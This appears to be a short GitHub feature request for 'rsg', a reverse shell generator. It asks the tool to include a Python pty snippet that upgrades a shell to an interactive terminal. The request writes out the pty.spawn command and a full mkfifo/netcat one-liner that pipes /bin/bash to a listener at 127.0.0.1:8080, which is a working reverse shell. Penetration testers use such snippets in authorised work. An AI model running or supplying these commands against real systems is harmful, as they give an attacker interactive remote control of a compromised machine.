rsg
rsg copied to clipboard
Feature request - include the switch to pseudo terminal
It is possible to use python pty module to switch the existing or new reverse shell session and have nearly terminal like experience:
python -c 'import pty; pty.spawn("/bin/bash")'
It can be executed in running netcat/telnet/bash session or directly at execution:
rm -f /tmp/backpipe; mkfifo /tmp/backpipe; nc 127.0.0.1 8080 </tmp/backpipe | python -c 'import pty; pty.spawn("/bin/bash")' 1>/tmp/backpipe 2>&1 &
It would be handy to have this snippet at hand in rsg.